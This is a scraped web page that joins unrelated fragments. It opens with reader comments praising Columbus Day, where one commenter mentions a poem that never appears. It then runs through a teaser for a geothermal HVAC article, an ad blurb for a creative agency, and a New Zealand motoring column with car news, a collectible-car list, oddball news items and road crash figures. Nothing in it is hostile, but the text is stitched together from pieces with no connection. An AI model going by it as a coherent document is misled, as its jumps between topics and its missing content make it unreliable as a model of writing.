It is the best Fall holiday there is, and the only one that gives you freedom do to whatever for one day. You are not required to eat, celebrate, or do anything other than be happy for Columbus which to me is not a problem. Who cares if he wasn't the first; give him credit for a hell of a trip for someone who did not know where he was going. And admit it, aren't you somewhat curious to know what was really going down with Isabella and Columbus? I say Let's keep this great holiday (oh, and by the way, did I mention it is my BIRTHDAY!!) WHOOPEE!!!
Dan says:
I wrote a poem about Christopher Columbus…I appreciate it's not quite accurate, because he landed in the Bahamas and not America, but please have a read anyway…


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Options available to design engineers and building owners looking to reduce costs
When I started my career 17 years ago, only a few geothermal-unit configurations were available, and those met most industry needs. With the inception of the LEED (Leadership in Energy and Environmental Design) green-building rating program and stricter ANSI/ASHRAE/IES Standard 90.1, Energy Standard for Buildings Except Low-Rise Residential Buildings, and ANSI/ASHRAE Standard 62.1, Ventilation for Acceptable Indoor Air Quality, requirements, the geothermal industry has evolved. This article ...
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"Geothermal Systems for Commercial Facilities" is FREE to access as a registered user on HPAC.com. Why register for HPAC.com? It's simple and free, and provides:
- Access to exclusive articles and news coverage
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An integrated creative agency
Engine Creative is a creative agency that follows intelligent methodology in order to deliver the best solutions for our clients. We believe in building long term relationships with our clients and their brands and continually reviewing how best to develop our services for their benefit.
What makes Engine Creative different?
Working with emerging technologies and continuing to invest in the best people ensures the clients we work with receive an effective and fully integrated service. All this (and more) is underpinned by one thing – a creative approach. Creative design and illustration, creative brand positioning, creative campaign strategies and creative digital solutions all working together to make sure our clients' brands and all of their related communications deliver more and provide the greatest value for money.
The list of creative services that Engine Creative offers is always evolving. You can find information on key services using the links below and if, like us, you're impatient to utilise a shiny new service or technology to gain the edge over your competitors then get in touch and we'll be happy to put it on the R&D list.


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Lamborghini lined up 50 of its Italian jobs for a cannonball run down a runway at the Miami International Airport to help celebrate 50 years in business.
An Aventador Roadster broke 200 miles an hour, then they all paraded through the streets of Miami to be properly introduced to one of their most loyal client bases.
No planes were delayed by the airport run.
Aventador Roadsters were exceeding the lift-off speeds of commercial airliners by at least 50km/h.
Google up the future
According to Forbes, Google may be into driverless cars for more than its party tricks.
The publication says Google's efforts could have a widespread impact on the nature of
transportation worldwide.
The company believes it can theoretically reduce traffic accidents, energy consumption
and the number of personal vehicles on the road by 90 per cent should driverless cars take hold.
What's more, the technology could revolutionise the way developing countries
design their infrastructure, and Google could theoretically be there to lend a helping hand.
Forbes says the autonomous vehicle business could be worth trillions of dollars in the long term, far surpassing Google's present search, advertising and mobile platform activities.
Forget landbanking, buy cars
A US insurer that specialises in classics has predicted 10 cars that will be future collectibles. If you want to get in on the ground floor, here's the 2013 Hagerty Hot List (admittedly weighted toward American products):
SRT Viper: One of the last examples of the mantra, "there is no replacement for displacement".
Chevrolet Corvette Convertible 427: Corvette's 60th anniversary.
Audi RS5: Oozes good taste in the way big BMW coupes used to.
Porsche Cayman S: More powerful, more efficient and lighter than previous versions, It's truly the 911's little brother.
Chevrolet Camaro ZL1 Convertible: Chevrolet's most powerful production convertible will likely be limited to hardcore fans, commanding a premium.
Tesla Model S: Defies the stereotype that electric cars are just for those trying to kick petroleum.
Mini John Cooper Works GP: Hailed as the fastest Mini ever built, and racing to collectible status.
Subaru BRZ: Precision handling sets it apart; rear-wheel drive injects adrenalin.
Volkswagen Golf GTi: The most successful compact sports car in the world has come a long way since the first Golf GTi in 1976.
Ford Focus ST: Four-door hatch with high performance handling is a bargain that will attract collectors.
The trend starts here
Good Oil's always looking to be first to spot a new trend and here's one: red-arrow running.
Running red lights in Auckland is so old hat that it's boring, but turning left or right when a red arrow forbids it is now up there with ignoring those crazy motorway on-ramp signals.
Good Oil first identified this as a trend the other day, spotting seven instances in 48 hours. Now, peering from the narrow windows of the armoured Oilmobile, we're seeing it happen almost daily, all over town. Be vigilant.
We are the world
*A pair of Aussie burglars tried to rob a jewellery store in Beaudesert, south of Brisbane, by breaking through the basement from an adjacent shop. Unfortunately, they broke through the wrong wall and wound up in a KFC. Undaunted, they robbed the KFC of about $3000.
*A podiatrist in Memphis, America, reports an increase in women asking for surgery so their feet can fit comfortably into a pair of irresistible shoes. The doctor said he sees as many as 30 patients a month who want to comfortably put their best shoe forward.
*An ''adult'' search engine reports two popular porn websites it analyses have been viewed 93 billion separate times, or about 13 views for every person on Earth.
Given average viewing time of 11 minutes a visit, PornWatchers.com calculated people have spent about 1.2 million years watching porn on just those two sites.
*Employees of major American car-parts retailer were herded into a backroom by a gun-wielding robber. Fearing for their lives, one broke free, ran to his truck, and retrieved
his gun, a Glock 40. The robber fled, but the employee had violated a zero tolerance policy against employees bringing firearms into the store ... and was sacked.
Number Crunching
9545 VEHICLE injury crashes in NZ in 2011.
12,574 PEOPLE injured in those NZ crashes
93,000 KM All types of road in NZ
32,800 KM Unsealed roads in NZ